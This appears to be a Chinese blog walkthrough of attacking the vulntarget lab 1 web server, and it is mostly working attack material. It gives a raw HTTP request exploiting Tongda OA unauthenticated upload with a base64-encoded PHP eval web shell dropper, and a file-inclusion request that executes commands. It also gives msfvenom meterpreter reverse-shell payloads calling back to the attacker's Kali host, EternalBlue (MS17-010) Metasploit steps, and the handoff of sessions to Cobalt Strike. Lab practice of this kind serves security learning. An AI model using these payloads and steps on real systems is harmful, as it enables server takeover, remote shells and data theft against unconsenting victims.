您现在的位置是:首页 >技术交流 >Web安全:拿到 Web 服务器 最高权限.(vulntarget 靶场 1)网站首页技术交流

Web安全:拿到 Web 服务器 最高权限.(vulntarget 靶场 1)

半个西瓜. 2024-07-20 06:01:03
简介Web安全:拿到 Web 服务器 最高权限.(vulntarget 靶场 1)

Web安全:拿到 Web 服务器 最高权限.

Web 服务器一般指网站服务器,是指驻留于因特网上某种类型计算机的程序,可以处理浏览器等Web客户端的请求并返回相应响应,也可以放置网站文件,让全世界浏览;可以放置数据文件,让全世界下载.


目录:

Web安全:拿到 Web 服务器 最高权限.

免责声明:

网络环境所示:

主机信息:

拿到 Web 服务器 最高权限 测试:

第一步:信息收集.

第二步:漏洞探测.

第三步:漏洞利用.

使用通达 OA 未授权上传 + 文件包含RCE 测试.

使用 MS17-010 进行测试:

转移会话(msf 的会话传递到 cs 中.)


免责声明:

严禁利用本文章中所提到的虚拟机和技术进行任何形式的攻击,否则后果自负,上传者不承担任何责任。


网络环境所示:


主机信息:

主机

外网

内网1内网2
kali192.168.0.101
win 7192.168.0.10210.0.20.98
win 201610.0.20.9910.0.10.111
win 201910.0.10.110

拿到 Web 服务器 最高权限 测试:

第一步:信息收集.

使用 nmap 工具对服务器进行端口信息收集.

nmap -A -sV 192.168.0.102


第二步:漏洞探测.

通达 OA 漏洞探测:(可以使用网上进行搜索.)

(1)http[s]:// 服务器 IP 地址/inc/expired.php
(2)http[s]:// 服务器 IP 地址/inc/reg_trial.php


在上面 nmap 工具扫描中发现 445 端口也是开放的.(所以可以试试使用 MS17-010 进行测试.)


第三步:漏洞利用.

使用通达 OA 未授权上传 + 文件包含RCE 测试.

未授权上传 测试.

构造http请求包,获取图片马地址:
POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.0.102
Content-Length: 635
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$fn = fopen("bgxg.php","w+");
$st=base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWydiZ3hnJ10pO3BocGluZm8oKTs/Pg==");
$result = fwrite($fn,$st);
fclose($fn);
?>

------WebKitFormBoundarypyfBh1YB4pV8McGB--

Base64 编码的过程:

https://c.runoob.com/front-end/693/

使用 文件包含 ,把图片中的代码执行,生成出一个新的 php 木马文件.
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.0.102
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 69
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2306/589610612.jpg"}&cmd=whoami

访问使用了 包含漏洞 有没有生成出,新的木马文件出来.

木马文件的地址在文件包含目录中(/ispirit/interface/木马文件名)(bgxg.php)

使用 蚁剑 进行连接.

生成一个程序(木马),使用 蚁剑 上传.(然后在 MSF 上线.)

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.101 lport=4444 -f exe >bgxg.exe

(1)msfconsole        //打开 msf 命令

(2)use exploit/multi/handler        //加载模块 命令

(3)set payload windows/meterpreter/reverse_tcp        //设置 payload 命令

(4)set lhost 192.168.0.101                //设置本地监听 IP(就是 kali 的 IP)命令

(5)set LPORT 4444                    //设置本地监听端口(就是 kali 的 端口)命令

(6)run                //执行 命令


使用 MS17-010 进行测试:

(1)msfconsole        //打开 msf 命令

(2)use exploit/windows/smb/ms17_010_eternalblue           //加载模块 命令

(3)show options            //查看模块信息

(5)set rhosts  192.168.0.102            //设置 服务器 IP 地址.(win7)

(7)run                //执行 命令


转移会话(msf 的会话传递到 cs 中.)

服务端:

(1)cd cs4.7        //切换为 cs 目录

(2)./teamserver 192.168.0.101 888888      //这里的IP地址是 服务端的IP,后面的是客户端的登录密码.

客户端:
 
(1)cd cs4.7        // 切换为 cs 目录

(2)./start.sh        // 打开 客户端.

这里我重新生成一个程序(木马):

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.0.101 LPORT=8888 -f exe > bgxg.exe
(1)msfconsole            // 打开 msf 工具.

(2)use exploit/multi/handler            // 设置 模块 

(3)set payload windows/meterpreter/reverse_tcp        //设置 payload 

(4)set lhost 192.168.0.101             // 和程序(木马)一样的 IP 地址

(5)set lport 8888                      // 和程序(木马)一样的 端口 号.

(6)exploit                             // 进行 测试.

想方法 把程序(木马) 上传到 服务器(目标)上去.(这里上面有 蚁剑 可以直接上传,也可利用 MS17-010 漏洞上传.)

把 msf 的会话传递到 cs 中.
(1)background                // 挂起 会话.

(2)use exploit/windows/local/payload_inject

(3)set payload windows/meterpreter/reverse_http

(4)set lhost 192.168.0.101        //设置 CS 服务端的 IP 地址.

(5)set lport 8080               //设置 CS 服务端的 监听的端口(刚刚上面创建的端口号一样[CS的])

(6)set DisablePayloadHandler True

(7)set PrependMigrate True

(8)sessions -l  //查看 会话 是多少则设置多少

(9)set session 1 [一般是 1(上面查看的结果)]

(10)exploit      // 进行 测试.

返回 CS 客户端:看见已经成功.

 

       

     

       

参考文章:CobaltStrike(CS)与MetasploitFramework(MSF)联动_Luckysec的博客-CSDN博客

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。